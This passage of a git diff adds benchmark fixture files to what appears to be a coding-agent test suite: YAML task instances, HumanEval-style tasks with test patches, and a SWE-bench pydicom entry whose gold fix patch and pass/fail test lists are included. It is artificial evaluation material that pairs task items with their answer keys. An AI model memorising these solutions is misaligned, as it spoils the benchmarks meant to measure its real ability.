(queries.tests.ValuesQuerysetTests)", "test_extra_values_order_in_extra (queries.tests.ValuesQuerysetTests)", "test_extra_values_order_multiple (queries.tests.ValuesQuerysetTests)", "test_extra_values_order_twice (queries.tests.ValuesQuerysetTests)", "test_field_error_values_list (queries.tests.ValuesQuerysetTests)", "test_flat_extra_values_list (queries.tests.ValuesQuerysetTests)", "test_flat_values_list (queries.tests.ValuesQuerysetTests)", "test_named_values_list_bad_field_name (queries.tests.ValuesQuerysetTests)", "test_named_values_list_expression (queries.tests.ValuesQuerysetTests)", "test_named_values_list_expression_with_default_alias (queries.tests.ValuesQuerysetTests)", "test_named_values_list_flat (queries.tests.ValuesQuerysetTests)", "test_named_values_list_with_fields (queries.tests.ValuesQuerysetTests)", "test_named_values_list_without_fields (queries.tests.ValuesQuerysetTests)", "test_AB_ACB (queries.tests.UnionTests)", "test_A_AB (queries.tests.UnionTests)", "test_A_AB2 (queries.tests.UnionTests)", "test_BAB_BAC (queries.tests.UnionTests)", "test_BAB_BACB (queries.tests.UnionTests)", "test_BA_BCA__BAB_BAC_BCA (queries.tests.UnionTests)", "test_distinct_ordered_sliced_subquery (queries.tests.SubqueryTests)", "Subselects honor any manual ordering", "test_related_sliced_subquery (queries.tests.SubqueryTests)", "test_slice_subquery_and_query (queries.tests.SubqueryTests)", "Delete queries can safely contain sliced subqueries", "test_isnull_filter_promotion (queries.tests.NullJoinPromotionOrTest)", "test_null_join_demotion (queries.tests.NullJoinPromotionOrTest)", "test_ticket_17886 (queries.tests.NullJoinPromotionOrTest)", "test_ticket_21366 (queries.tests.NullJoinPromotionOrTest)", "test_ticket_21748 (queries.tests.NullJoinPromotionOrTest)", "test_ticket_21748_complex_filter (queries.tests.NullJoinPromotionOrTest)", "test_ticket_21748_double_negated_and (queries.tests.NullJoinPromotionOrTest)", "test_ticket_21748_double_negated_or (queries.tests.NullJoinPromotionOrTest)", "test_exclude_nullable_fields (queries.tests.ExcludeTests)", "test_exclude_reverse_fk_field_ref (queries.tests.ExcludeTests)", "test_exclude_with_circular_fk_relation (queries.tests.ExcludeTests)", "test_subquery_exclude_outerref (queries.tests.ExcludeTests)", "test_ticket14511 (queries.tests.ExcludeTests)", "test_to_field (queries.tests.ExcludeTests)", "test_combine_join_reuse (queries.tests.Queries4Tests)", "test_filter_reverse_non_integer_pk (queries.tests.Queries4Tests)", "test_join_reuse_order (queries.tests.Queries4Tests)", "test_order_by_resetting (queries.tests.Queries4Tests)", "test_order_by_reverse_fk (queries.tests.Queries4Tests)", "test_ticket10181 (queries.tests.Queries4Tests)", "test_ticket11811 (queries.tests.Queries4Tests)", "test_ticket14876 (queries.tests.Queries4Tests)", "test_ticket15316_exclude_false (queries.tests.Queries4Tests)", "test_ticket15316_exclude_true (queries.tests.Queries4Tests)", "test_ticket15316_filter_false (queries.tests.Queries4Tests)", "test_ticket15316_filter_true (queries.tests.Queries4Tests)", "test_ticket15316_one2one_exclude_false (queries.tests.Queries4Tests)", "test_ticket15316_one2one_exclude_true (queries.tests.Queries4Tests)", "test_ticket15316_one2one_filter_false (queries.tests.Queries4Tests)", "test_ticket15316_one2one_filter_true (queries.tests.Queries4Tests)", "test_ticket24525 (queries.tests.Queries4Tests)", "test_ticket7095 (queries.tests.Queries4Tests)", "test_avoid_infinite_loop_on_too_many_subqueries (queries.tests.Queries1Tests)", "test_common_mixed_case_foreign_keys (queries.tests.Queries1Tests)", "test_deferred_load_qs_pickling (queries.tests.Queries1Tests)", "test_double_exclude (queries.tests.Queries1Tests)", "test_error_raised_on_filter_with_dictionary (queries.tests.Queries1Tests)", "test_exclude (queries.tests.Queries1Tests)", "test_exclude_in (queries.tests.Queries1Tests)", "test_excluded_intermediary_m2m_table_joined (queries.tests.Queries1Tests)", "test_field_with_filterable (queries.tests.Queries1Tests)", "test_get_clears_ordering (queries.tests.Queries1Tests)", "test_heterogeneous_qs_combination (queries.tests.Queries1Tests)", "test_lookup_constraint_fielderror (queries.tests.Queries1Tests)", "test_nested_exclude (queries.tests.Queries1Tests)", "test_order_by_join_unref (queries.tests.Queries1Tests)", "test_order_by_raw_column_alias_warning (queries.tests.Queries1Tests)", "test_order_by_rawsql (queries.tests.Queries1Tests)", "test_order_by_tables (queries.tests.Queries1Tests)", "test_reasonable_number_of_subq_aliases (queries.tests.Queries1Tests)", "test_subquery_condition (queries.tests.Queries1Tests)", "test_ticket10205 (queries.tests.Queries1Tests)", "test_ticket10432 (queries.tests.Queries1Tests)", "test_ticket1050 (queries.tests.Queries1Tests)", "test_ticket10742 (queries.tests.Queries1Tests)", "test_ticket17429 (queries.tests.Queries1Tests)", "test_ticket1801 (queries.tests.Queries1Tests)", "test_ticket19672 (queries.tests.Queries1Tests)", "test_ticket2091 (queries.tests.Queries1Tests)", "test_ticket2253 (queries.tests.Queries1Tests)", "test_ticket2306 (queries.tests.Queries1Tests)", "test_ticket2400 (queries.tests.Queries1Tests)", "test_ticket2496 (queries.tests.Queries1Tests)", "test_ticket3037 (queries.tests.Queries1Tests)", "test_ticket3141 (queries.tests.Queries1Tests)", "test_ticket4358 (queries.tests.Queries1Tests)", "test_ticket4464 (queries.tests.Queries1Tests)", "test_ticket4510 (queries.tests.Queries1Tests)", "test_ticket6074 (queries.tests.Queries1Tests)", "test_ticket6154 (queries.tests.Queries1Tests)", "test_ticket6981 (queries.tests.Queries1Tests)", "test_ticket7076 (queries.tests.Queries1Tests)", "test_ticket7096 (queries.tests.Queries1Tests)", "test_ticket7098 (queries.tests.Queries1Tests)", "test_ticket7155 (queries.tests.Queries1Tests)", "test_ticket7181 (queries.tests.Queries1Tests)", "test_ticket7235 (queries.tests.Queries1Tests)", "test_ticket7277 (queries.tests.Queries1Tests)", "test_ticket7323 (queries.tests.Queries1Tests)", "test_ticket7378 (queries.tests.Queries1Tests)", "test_ticket7791 (queries.tests.Queries1Tests)", "test_ticket7813 (queries.tests.Queries1Tests)", "test_ticket8439 (queries.tests.Queries1Tests)", "test_ticket9411 (queries.tests.Queries1Tests)", "test_ticket9926 (queries.tests.Queries1Tests)", "test_ticket9985 (queries.tests.Queries1Tests)", "test_ticket9997 (queries.tests.Queries1Tests)", "test_ticket_10790_1 (queries.tests.Queries1Tests)", "test_ticket_10790_2 (queries.tests.Queries1Tests)", "test_ticket_10790_3 (queries.tests.Queries1Tests)", "test_ticket_10790_4 (queries.tests.Queries1Tests)", "test_ticket_10790_5 (queries.tests.Queries1Tests)", "test_ticket_10790_6 (queries.tests.Queries1Tests)", "test_ticket_10790_7 (queries.tests.Queries1Tests)", "test_ticket_10790_8 (queries.tests.Queries1Tests)", "test_ticket_10790_combine (queries.tests.Queries1Tests)", "test_ticket_20250 (queries.tests.Queries1Tests)", "test_tickets_1878_2939 (queries.tests.Queries1Tests)", "test_tickets_2076_7256 (queries.tests.Queries1Tests)", "test_tickets_2080_3592 (queries.tests.Queries1Tests)", "test_tickets_2874_3002 (queries.tests.Queries1Tests)", "test_tickets_4088_4306 (queries.tests.Queries1Tests)", "test_tickets_5321_7070 (queries.tests.Queries1Tests)", "test_tickets_5324_6704 (queries.tests.Queries1Tests)", "test_tickets_6180_6203 (queries.tests.Queries1Tests)", "test_tickets_7087_12242 (queries.tests.Queries1Tests)", "test_tickets_7204_7506 (queries.tests.Queries1Tests)", "test_tickets_7448_7707 (queries.tests.Queries1Tests)"], "environment_setup_commit": "65dfb06a1ab56c238cc80f5e1c31f61210c4577d"}] diff --git a/tests/test_data/data_sources/expert_instances.yaml b/tests/test_data/data_sources/expert_instances.yaml new file mode 100644 index 0000000..90f370e --- /dev/null +++ b/tests/test_data/data_sources/expert_instances.yaml @@ -0,0 +1,16 @@ +- env: + deployment: + type: docker + image: python:3.11 + problem_statement: + type: text + text: "A simple test problem" + id: "simple_test_problem" +- env: + deployment: + type: docker + image: python:3.11 + problem_statement: + type: text + text: "A simple test problem 2" + id: "simple_test_problem_2" diff --git a/tests/test_data/data_sources/human_eval.json b/tests/test_data/data_sources/human_eval.json new file mode 100644 index 0000000..9a6bb24 --- /dev/null +++ b/tests/test_data/data_sources/human_eval.json @@ -0,0 +1 @@ +[{"instance_id": "swe-bench__humaneval-30", "problem_statement": "I have a function that needs implementing, can you help?", "created_at": "2023110716", "version": "1.0", "test_patch": "diff --git a/test.py b/test.py\nnew file mode 100644\nindex 0000000..52ecda2\n--- /dev/null\n+++ b/test.py\n@@ -0,0 +1,13 @@\n+from main import get_positive\n+\n+\n+METADATA = {}\n+\n+\n+def check(candidate):\n+ assert candidate([-1, -2, 4, 5, 6]) == [4, 5, 6]\n+ assert candidate([5, 3, -5, 2, 3, 3, 9, 0, 123, 1, -10]) == [5, 3, 2, 3, 3, 9, 123, 1]\n+ assert candidate([-1, -2]) == []\n+ assert candidate([]) == []\n+\n+check(get_positive)\n", "base_commit": "0880311", "base_commit_with_tests": "b2e380b", "environment_setup_commit": null, "hints_text": null, "repo": "swe-bench/humaneval", "FAIL_TO_PASS": "", "PASS_TO_PASS": ""}, {"instance_id": "swe-bench__humaneval-85", "problem_statement": "I have a function that needs implementing, can you help?", "created_at": "2023110716", "version": "1.0", "test_patch": "diff --git a/test.py b/test.py\nnew file mode 100644\nindex 0000000..13d6e1f\n--- /dev/null\n+++ b/test.py\n@@ -0,0 +1,12 @@\n+from main import add\n+def check(candidate):\n+\n+ # Check some simple cases\n+ assert candidate([4, 88]) == 88\n+ assert candidate([4, 5, 6, 7, 2, 122]) == 122\n+ assert candidate([4, 0, 6, 7]) == 0\n+ assert candidate([4, 4, 6, 8]) == 12\n+\n+ # Check some edge cases that are easy to work out by hand.\n+ \n+check(add)\n", "base_commit": "2de55bc", "base_commit_with_tests": "c8c997b", "environment_setup_commit": null, "hints_text": null, "repo": "swe-bench/humaneval", "FAIL_TO_PASS": "", "PASS_TO_PASS": ""}, {"instance_id": "swe-bench__humaneval-22", "problem_statement": "I have a function that needs implementing, can you help?", "created_at": "2023110716", "version": "1.0", "test_patch": "diff --git a/test.py b/test.py\nnew file mode 100644\nindex 0000000..d881459\n--- /dev/null\n+++ b/test.py\n@@ -0,0 +1,14 @@\n+from main import filter_integers\n+\n+\n+METADATA = {\n+ 'author': 'jt',\n+ 'dataset': 'test'\n+}\n+\n+\n+def check(candidate):\n+ assert candidate([]) == []\n+ assert candidate([4, {}, [], 23.2, 9, 'adasd']) == [4, 9]\n+ assert candidate([3, 'c', 3, 3, 'a', 'b']) == [3, 3, 3]\n+check(filter_integers)\n", "base_commit": "f0dbe5e", "base_commit_with_tests": "55cc474", "environment_setup_commit": null, "hints_text": null, "repo": "swe-bench/humaneval", "FAIL_TO_PASS": "", "PASS_TO_PASS": ""}, {"instance_id": "swe-bench__humaneval-104", "problem_statement": "I have a function that needs implementing, can you help?", "created_at": "2023110716", "version": "1.0", "test_patch": "diff --git a/test.py b/test.py\nnew file mode 100644\nindex 0000000..617da5a\n--- /dev/null\n+++ b/test.py\n@@ -0,0 +1,13 @@\n+from main import unique_digits\n+def check(candidate):\n+\n+ # Check some simple cases\n+ assert candidate([15, 33, 1422, 1]) == [1, 15, 33]\n+ assert candidate([152, 323, 1422, 10]) == []\n+ assert candidate([12345, 2033, 111, 151]) == [111, 151]\n+ assert candidate([135, 103, 31]) == [31, 135]\n+\n+ # Check some edge cases that are easy to work out by hand.\n+ assert True\n+\n+check(unique_digits)\n", "base_commit": "b52ee85", "base_commit_with_tests": "4a92a50", "environment_setup_commit": null, "hints_text": null, "repo": "swe-bench/humaneval", "FAIL_TO_PASS": "", "PASS_TO_PASS": ""}, {"instance_id": "swe-bench__humaneval-0", "problem_statement": "I have a function that needs implementing, can you help?", "created_at": "2023110716", "version": "1.0", "test_patch": "diff --git a/test.py b/test.py\nnew file mode 100644\nindex 0000000..2d57340\n--- /dev/null\n+++ b/test.py\n@@ -0,0 +1,19 @@\n+from main import has_close_elements\n+\n+\n+METADATA = {\n+ 'author': 'jt',\n+ 'dataset': 'test'\n+}\n+\n+\n+def check(candidate):\n+ assert candidate([1.0, 2.0, 3.9, 4.0, 5.0, 2.2], 0.3) == True\n+ assert candidate([1.0, 2.0, 3.9, 4.0, 5.0, 2.2], 0.05) == False\n+ assert candidate([1.0, 2.0, 5.9, 4.0, 5.0], 0.95) == True\n+ assert candidate([1.0, 2.0, 5.9, 4.0, 5.0], 0.8) == False\n+ assert candidate([1.0, 2.0, 3.0, 4.0, 5.0, 2.0], 0.1) == True\n+ assert candidate([1.1, 2.2, 3.1, 4.1, 5.1], 1.0) == True\n+ assert candidate([1.1, 2.2, 3.1, 4.1, 5.1], 0.5) == False\n+\n+check(has_close_elements)\n", "base_commit": "afba737", "base_commit_with_tests": "c7e41b2", "environment_setup_commit": null, "hints_text": null, "repo": "swe-bench/humaneval", "FAIL_TO_PASS": "", "PASS_TO_PASS": ""}] diff --git a/tests/test_data/data_sources/simple_instances.yaml b/tests/test_data/data_sources/simple_instances.yaml new file mode 100644 index 0000000..5de565b --- /dev/null +++ b/tests/test_data/data_sources/simple_instances.yaml @@ -0,0 +1,3 @@ +- image_name: "python:3.11" + problem_statement: "A simple test problem" + id: "simple_test_problem" diff --git a/tests/test_data/data_sources/simple_instances_long.yaml b/tests/test_data/data_sources/simple_instances_long.yaml new file mode 100644 index 0000000..e80d7a6 --- /dev/null +++ b/tests/test_data/data_sources/simple_instances_long.yaml @@ -0,0 +1,30 @@ +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "1" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "2" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "3" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "4" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "5" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "6" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "7" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "8" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "9" +- image_name: "klieret/tiny:latest" + problem_statement: "A simple test problem" + id: "10" diff --git a/tests/test_data/data_sources/swe-bench-dev-easy.json b/tests/test_data/data_sources/swe-bench-dev-easy.json new file mode 100644 index 0000000..44beb78 --- /dev/null +++ b/tests/test_data/data_sources/swe-bench-dev-easy.json @@ -0,0 +1 @@ +[{"repo": "pydicom/pydicom", "instance_id": "pydicom__pydicom-1458", "base_commit": "8da0b9b215ebfad5756051c891def88e426787e7", "patch": "diff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py\n--- a/pydicom/pixel_data_handlers/numpy_handler.py\n+++ b/pydicom/pixel_data_handlers/numpy_handler.py\n@@ -43,7 +43,9 @@\n | (0028,0100) | BitsAllocated | 1 | 1, 8, 16, 32, | Required |\n | | | | 64 | |\n +-------------+---------------------------+------+---------------+----------+\n-| (0028,0103) | PixelRepresentation | 1 | 0, 1 | Required |\n+| (0028,0101) | BitsStored | 1 | 1, 8, 12, 16 | Optional |\n++-------------+---------------------------+------+---------------+----------+\n+| (0028,0103) | PixelRepresentation | 1C | 0, 1 | Optional |\n +-------------+---------------------------+------+---------------+----------+\n \n \"\"\"\n@@ -284,16 +286,28 @@ def get_pixeldata(ds: \"Dataset\", read_only: bool = False) -> \"np.ndarray\":\n \"the dataset\"\n )\n \n+ # Attributes required by both Floating Point Image Pixel Module Attributes\n+ # and Image Pixel Description Macro Attributes\n required_elements = [\n- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n+ 'BitsAllocated', 'Rows', 'Columns',\n 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n+ if px_keyword[0] == 'PixelData':\n+ # Attributess required by Image Pixel Description Macro Attributes\n+ required_elements.extend(['PixelRepresentation', 'BitsStored'])\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\n+ if ds.SamplesPerPixel > 1:\n+ if not hasattr(ds, 'PlanarConfiguration'):\n+ raise AttributeError(\n+ \"Unable to convert the pixel data as the following \"\n+ \"conditionally required element is missing from the dataset: \"\n+ \"PlanarConfiguration\"\n+ )\n \n # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n pixel_data = getattr(ds, px_keyword[0])\n", "test_patch": "diff --git a/pydicom/tests/test_numpy_pixel_data.py b/pydicom/tests/test_numpy_pixel_data.py\n--- a/pydicom/tests/test_numpy_pixel_data.py\n+++ b/pydicom/tests/test_numpy_pixel_data.py\n@@ -26,6 +26,8 @@\n * PlanarConfiguration\n \"\"\"\n \n+from copy import deepcopy\n+\n import pytest\n \n from pydicom import config\n@@ -1068,6 +1070,7 @@ def test_endianness_not_set(self):\n ds.Rows = 10\n ds.Columns = 10\n ds.BitsAllocated = 16\n+ ds.BitsStored = 16\n ds.PixelRepresentation = 0\n ds.SamplesPerPixel = 1\n ds.PhotometricInterpretation = 'MONOCHROME2'\n@@ -1105,16 +1108,60 @@ def test_no_pixel_data_raises(self):\n with pytest.raises(AttributeError, match=msg):\n get_pixeldata(ds)\n \n- def test_missing_required_elem(self):\n+ def test_missing_required_elem_pixel_data_monochrome(self):\n \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n- ds = dcmread(EXPL_16_1_1F)\n- del ds.BitsAllocated\n+ required_attrs = (\n+ 'BitsAllocated',\n+ 'BitsStored',\n+ 'Rows',\n+ 'Columns',\n+ 'SamplesPerPixel',\n+ 'PhotometricInterpretation',\n+ 'PixelRepresentation',\n+ )\n+ for attr in required_attrs:\n+ ds = dcmread(EXPL_16_1_1F)\n+ delattr(ds, attr)\n+ msg = (\n+ r\"Unable to convert the pixel data as the following required \"\n+ r\"elements are missing from the dataset: {}\".format(attr)\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_required_elem_pixel_data_color(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(EXPL_8_3_1F)\n+ del ds.Rows\n+ del ds.Columns\n+ msg = (\n+ r\"Unable to convert the pixel data as the following required \"\n+ r\"elements are missing from the dataset: Rows, Columns\"\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_conditionally_required_elem_pixel_data_color(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(EXPL_8_3_1F)\n+ del ds.PlanarConfiguration\n+ msg = (\n+ r\"Unable to convert the pixel data as the following conditionally \"\n+ r\"required element is missing from the dataset: \"\n+ r\"PlanarConfiguration\"\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_required_elem_float_pixel_data_monochrome(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(IMPL_32_1_1F)\n+ ds.FloatPixelData = ds.PixelData\n+ del ds.PixelData\n del ds.Rows\n- del ds.SamplesPerPixel\n msg = (\n r\"Unable to convert the pixel data as the following required \"\n- r\"elements are missing from the dataset: BitsAllocated, Rows, \"\n- r\"SamplesPerPixel\"\n+ r\"elements are missing from the dataset: Rows\"\n )\n with pytest.raises(AttributeError, match=msg):\n get_pixeldata(ds)\n", "problem_statement": "Pixel Representation attribute should be optional for pixel data handler\n**Describe the bug**\r\nThe NumPy pixel data handler currently [requires the Pixel Representation attribute](https://github.com/pydicom/pydicom/blob/8da0b9b215ebfad5756051c891def88e426787e7/pydicom/pixel_data_handlers/numpy_handler.py#L46). This is problematic, because in case of Float Pixel Data or Double Float Pixel Data the attribute shall be absent. Compare [Floating Point Image Pixel Module Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.24.html) versus [Image Pixel Description Macro Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.3.html#table_C.7-11c)\r\n\r\n**Expected behavior**\r\nI would expect the `Dataset.pixel_array` property to be able to decode a Float Pixel Data or Double Float Pixel Data element without presence of the Pixel Representation element in the metadata.\r\n\r\n**Steps To Reproduce**\r\n```python\r\nimport numpy as np\r\nfrom pydicom.dataset import Dataset, FileMetaDataset\r\n\r\n\r\nds = Dataset()\r\nds.file_meta = FileMetaDataset()\r\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\r\n\r\nds.BitsAllocated = 32\r\nds.SamplesPerPixel = 1\r\nds.Rows = 5\r\nds.Columns = 5\r\nds.PhotometricInterpretation = 'MONOCHROME2'\r\n\r\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\r\nds.FloatPixelData = pixel_array.flatten().tobytes()\r\n\r\nnp.array_equal(ds.pixel_array, pixel_array)\r\n```\n", "hints_text": "", "created_at": "2021-08-04T15:22:07Z", "version": "2.2", "FAIL_TO_PASS": ["pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_pixel_data_monochrome", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_conditionally_required_elem_pixel_data_color"], "PASS_TO_PASS": ["pydicom/tests/test_numpy_pixel_data.py::test_unsupported_syntaxes", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_environment", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_supported_dataset", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_dcmtk.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG-lossy.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_gdcm.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_jpeg_ls_lossless.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/guest/jy1682/.pydicom/data/emri_small_jpeg_2k_lossless.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG2000.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_RLE.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_pixel_array_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_environment", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_unsupported_syntax_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_dataset_pixel_array_handler_needs_convert", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_dataset_pixel_array_no_pixels", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_dcmtk.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG-lossy.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_gdcm.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_jpeg_ls_lossless.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/guest/jy1682/.pydicom/data/emri_small_jpeg_2k_lossless.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG2000.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_RLE.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_8bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[numpy]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[NumPy]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[np]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[np_handler]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[numpy_handler]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_16bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_32bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_1sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame_odd_size", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame_ybr422", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_1frame.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/liver.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_small_odd.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_ybr_full_422_uncompressed.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_2frame.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_2frame.dcm-data7]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small.dcm-data8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/emri_small.dcm-data9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit.dcm-data10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit_2frame.dcm-data11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_1frame.dcm-data12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose.dcm-data13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit.dcm-data14]", 